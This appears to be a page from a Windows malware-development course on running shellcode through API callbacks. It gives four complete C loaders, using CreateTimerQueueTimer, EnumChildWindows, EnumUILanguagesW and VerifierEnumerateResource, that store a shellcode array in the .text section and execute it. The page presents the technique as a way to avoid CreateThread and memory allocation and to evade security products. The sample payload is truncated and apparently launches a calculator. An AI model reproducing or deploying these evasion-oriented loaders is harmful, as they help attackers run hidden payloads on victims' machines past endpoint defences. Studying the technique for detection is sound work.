Callback Code Execution

List of callbacks: https://github.com/aahmad097/AlternativeShellcodeExec

Callback functions are used to handle events or to perform an action when a condition is met. They are used in a variety of scenarios in the Windows operating system, including event handling, window management, and multithreading.

Several ordinary Windows APIs possess the ability to execute payloads using callbacks. Aditionally, these functions may appear benign and can potentially evade some security solutions.

Callback functions are only beneficial when the payload is running in the memory address space of the local process.

Callback Execution can replace the use of the CreateThread WinAPI and other thread-related techniques for payload execution. Additionally, there is no need to use the functions correctly by passing the appropriate parameters. The return value or functionality of these functions is not of any concern.

One important point about callback functions is that they only work in the local process address space and cannot be used to perform remote code injection techniques.

The following sections provide examples of some callback funtions. The payloads used are stored in the .text section of the binary. This allows the shellcode to have the required RX memory permissions without having to allocate executable memory using VirtualAlloc or other memory allocation functions.

- CreateTimerQueueTimer

CreateTimerQueueTimer creates a new timer and adds it to the specified timer queue. The timer is specified using a callback function that is called when the timer expires. The callback function is executed by the thread that created the timer queue.

#include <Windows.h>
#include <stdio.h>


#pragma section(".text")
__declspec(allocate(".text")) const unsigned char Payload[] = {
	0xFC, 0x48, 0x83, 0xE4, 0xF0, 0xE8, 0xC0, 0x00, 0x00, 0x00, 0x41, 0x51,
	// shellcode .....
	0xDA, 0xFF, 0xD5, 0x63, 0x61, 0x6C, 0x63, 0x00
};




int main() {

	HANDLE		hTimer			= NULL;
	

	printf("[i] Payload At : 0x%p \n", Payload);
	printf("[#] Press <Enter> To Run CreateTimerQueueTimer ... ");
	getchar();


	if (!CreateTimerQueueTimer(&hTimer, NULL, (WAITORTIMERCALLBACK)Payload, NULL, NULL, NULL, NULL)){
		printf("[!] CreateTimerQueueTimer Failed With Error : %d \n", GetLastError());
		return -1;
	}
	 
	// wont reach this point of execution (the shellcode itself will terminate the process)
	printf("[#] Press <Enter> To Quit ... ");
	getchar();

	return 0;
}

- EnumChildWindows

EnumChildWindows allows a program to enumerate the child windows of a parent window. It takes a parent window handle as an input and applies a user-defined callback function to each of the child windows, one at a time. The callback function is called for each child window, and it receives the child window handle and a user-defined value as parameters.

#include <Windows.h>
#include <stdio.h>


#pragma section(".text")
__declspec(allocate(".text")) const unsigned char Payload[] = {
	0xFC, 0x48, 0x83, 0xE4, 0xF0, 0xE8, 0xC0, 0x00, 0x00, 0x00, 0x41, 0x51,
	// shellcode ....
	0xDA, 0xFF, 0xD5, 0x63, 0x61, 0x6C, 0x63, 0x00
};


int main() {


	printf("[i] Payload At : 0x%p \n", Payload);
	printf("[#] Press <Enter> To Run EnumChildWindows ... ");
	getchar();

	if (!EnumChildWindows(NULL, (WNDENUMPROC)Payload, NULL)) {
		printf("[!] EnumChildWindows Failed With Error : %d \n", GetLastError());
		return -1;
	}

	// wont reach this point of execution (the shellcode itself will terminate the process)
	printf("[#] Press <Enter> To Quit ... ");
	getchar();

	return 0;
}

- EnumUILanguagesW

EnumUILanguagesW enumerates the user interface (UI) languages that are installed on the system. It takes a callback function as a parameter and applies the callback function to each UI language, one at a time. Note that any value instead of MUI_LANGUAGE_NAME flag still works.

#include <Windows.h>
#include <stdio.h>


#pragma section(".text")
__declspec(allocate(".text")) const unsigned char Payload[] = {
	0xFC, 0x48, 0x83, 0xE4, 0xF0, 0xE8, 0xC0, 0x00, 0x00, 0x00, 0x41, 0x51,
	// shellcode ...
	0xDA, 0xFF, 0xD5, 0x63, 0x61, 0x6C, 0x63, 0x00
};

int main() {

	printf("[i] Payload At : 0x%p \n", Payload);
	printf("[#] Press <Enter> To Run EnumUILanguagesW ... ");
	getchar();

	if (!EnumUILanguagesW((UILANGUAGE_ENUMPROCW)Payload, MUI_LANGUAGE_NAME, NULL)) {
		printf("[!] EnumUILanguagesW Failed With Error : %d \n", GetLastError());
		return -1;
	}

	// wont reach this point of execution (the shellcode itself will terminate the process)
	printf("[#] Press <Enter> To Quit ... ");
	getchar();

	return 0;
}

- VerifierEnumerateResource

VerifierEnumerateResource is used to enumerate the resources in a specified module. Resources are data that are stored in a module (such as an executable or a dynamic-link library) and can be accessed by the module or by other modules at runtime.

VerifierEnumerateResource is exported from verifier.dll, therefore the module must be dynamically loaded using the LoadLibrary and GetProcAddress WinAPIs to access the function.

If the ResourceType parameter is not equal to AvrfResourceHeapAllocation then the payload will not be executed.

#include <Windows.h>
#include <stdio.h>
#include <avrfsdk.h>	// for "AVRF_RESOURCE_ENUMERATE_CALLBACK"


#pragma section(".text")
__declspec(allocate(".text")) const unsigned char Payload[] = {
	0xFC, 0x48, 0x83, 0xE4, 0xF0, 0xE8, 0xC0, 0x00, 0x00, 0x00, 0x41, 0x51,
	// shellcode ...
	0xDA, 0xFF, 0xD5, 0x63, 0x61, 0x6C, 0x63, 0x00
};


typedef ULONG (WINAPI* fnVerifierEnumerateResource)(
	HANDLE                           Process,
	ULONG                            Flags,
	ULONG                            ResourceType,
	AVRF_RESOURCE_ENUMERATE_CALLBACK ResourceCallback,
	PVOID                            EnumerationContext
);


int main() {

	HMODULE							hModule						= NULL;
	fnVerifierEnumerateResource		pVerifierEnumerateResource	= NULL;

	hModule = LoadLibraryA("verifier.dll");
	if (hModule == NULL){
		printf("[!] LoadLibraryA Failed With Error : %d \n", GetLastError());
		return -1;
	}

	pVerifierEnumerateResource = GetProcAddress(hModule, "VerifierEnumerateResource");
	if (pVerifierEnumerateResource == NULL) {
		printf("[!] GetProcAddress Failed With Error : %d \n", GetLastError());
		return -1;
	}

	printf("[i] Payload At : 0x%p \n", Payload);
	printf("[i] pVerifierEnumerateResource At : 0x%p \n", pVerifierEnumerateResource);
	printf("[#] Press <Enter> To Run VerifierEnumerateResource ... ");
	getchar();

	// should be `AvrfResourceHeapAllocation` flag to run the payload
	pVerifierEnumerateResource(GetCurrentProcess(), NULL, AvrfResourceHeapAllocation, (AVRF_RESOURCE_ENUMERATE_CALLBACK)Payload, NULL);

	// wont reach this point of execution (the shellcode itself will terminate the process)
	printf("[#] Press <Enter> To Quit ... ");
	getchar();

	return 0;
}

Last updated